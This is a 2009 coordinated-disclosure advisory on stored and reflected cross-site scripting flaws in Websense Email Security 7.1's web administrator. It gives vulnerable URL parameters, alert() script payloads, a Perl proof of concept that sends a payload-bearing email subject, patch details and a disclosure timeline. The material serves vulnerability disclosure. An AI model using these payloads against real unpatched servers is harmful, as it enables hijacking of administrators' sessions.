Title: Websense Email Security Cross Site Scripting
Severity: Low
Advisory ID: NSOADV-2009-003
Found Date: 28.09.2009
Date Reported: 01.10.2009
Release Date: 20.10.2009
Author: Nikolas Sotiriu
Mail: nso-research (at) sotiriu.de
URL: http://sotiriu.de/adv/NSOADV-2009-003.txt
Vendor: Websense (http://www.websense.com/)
Affected Products: Websense Email Security v7.1
Personal Email Manager v7.1
Not Affected Products: Websense Email Security v7.1 Hotfix 4
Personal Email Manager v7.1 Hotfix 4
Remote Exploitable: Yes
Local Exploitable: Yes
Patch Status: Patched with Hotfix 4
Disclosure Policy: http://sotiriu.de/policy.html
Thanks to: Thierry Zoller: for the permission to use his
Policy
Background:
===========
Websense Email Security software incorporates multiple layers of real-time Web security and data security intelligence to provide leading email protection from converged email and Web 2.0 threats. It helps to manage outbound data leaks and compliance risk, and enables a consolidated security strategy with the trusted leader in Essential Information Protection.
(Product description from Websense Website)
The Websense Email Security Web Administrator is a webfrontend, which enables you to access the message administration, directory management and to view the log.
Description:
============
1. XSS in webfrontend:
----------------------
The webfrontend do not properly sanitize some variables before being returned to the user.
http://<target>:8181/web/msgList/viewmsg/actions/msgAnalyse.asp ?Queue=Network%20Security&FileName=[XSS]&IsolatedMessageID=[XSS] &ServerName=[XSS]&Dictionary=[XSS]&Scoring=[XSS]&MessagePart=[XSS]
http://<target>:8181/web/msgList/viewmsg/actions/msgForwardToRis kFilter.asp?Queue=[XSS]&FileName=[XSS]&IsolatedMessageID=[XSS]& ServerName=[XSS]
http://<target>:8181/web/msgList/viewmsg/viewHeaders.asp?Queue= [XSS]&FileName=[XSS]&IsolatedMessageID=[XSS]&ServerName=[XSS]
This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of the Web Administrator frontend.
2. XSS in webfrontend through a Mail Subject:
---------------------------------------------
The Subject of an email sent through the Websense Mail Security server is not properly sanitized before shown in the Web Administrator frontend.
Script code like "><script>alert('X')</script> will be executed in
the users's browser in context of the Web Administrator frontend.
The Mail has to be hold in a Queue to execute the code if the administrator checks it. A Subject like
VIAGRA"><script>alert('XSS')</script>
will result in a hold in the Anti Spam Queue.
Proof of Concept :
==================
#!/usr/bin/perl
use MIME::Lite;
use Net::SMTP;
(($server = $ARGV[0]) && ($rcpt = $ARGV[1])) || die "Usage: $0",
"<server> <Recipient> \n";
my $from_address = '<xss (at) mail (dot) com [email concealed]>';
my $to_address = "<" . $rcpt . ">";
my $mail_host = $server;
my $subject = 'VIAGRA XSS File "><BODY ONLOAD=alert(\'XSS\')>';
my $message_body = "XSS Test File";
$msg = MIME::Lite->new (
From => $from_address,
To => $to_address,
Subject => $subject,
Type =>'multipart/mixed'
) or die "Error creating multipart container: $!\n";
$msg->attach (
Type => 'TEXT',
Data => $message_body
) or die "Error adding the text message part: $!\n";
MIME::Lite->send('smtp', $mail_host, Timeout=>60);
$msg->send;
Solution:
=========
Vendor released a patch.
http://tinyurl.com/yhe3hqa
Disclosure Timeline (YYYY/MM/DD):
=================================
2009.09.28: Vulnerability found
2009.10.01: Ask for a PGP Key
2009.10.01: Websense sent there PGP Key
2009.10.01: Sent PoC, Advisory, Disclosure policy and planned disclosure
date to Vendor
2009.10.08: Websense verifies the finding
2009.10.13: Websense fixed it. The path will be available in Version 7.2
which will be released in ~2 weeks
2009.10.13: Ask for a list of affected versions/products and changed the
release date to 2009.10.29.
(no response)
2009.10.20: Found the KB article and the Hotfix on Websense website
2009.10.20: Release of this advisory
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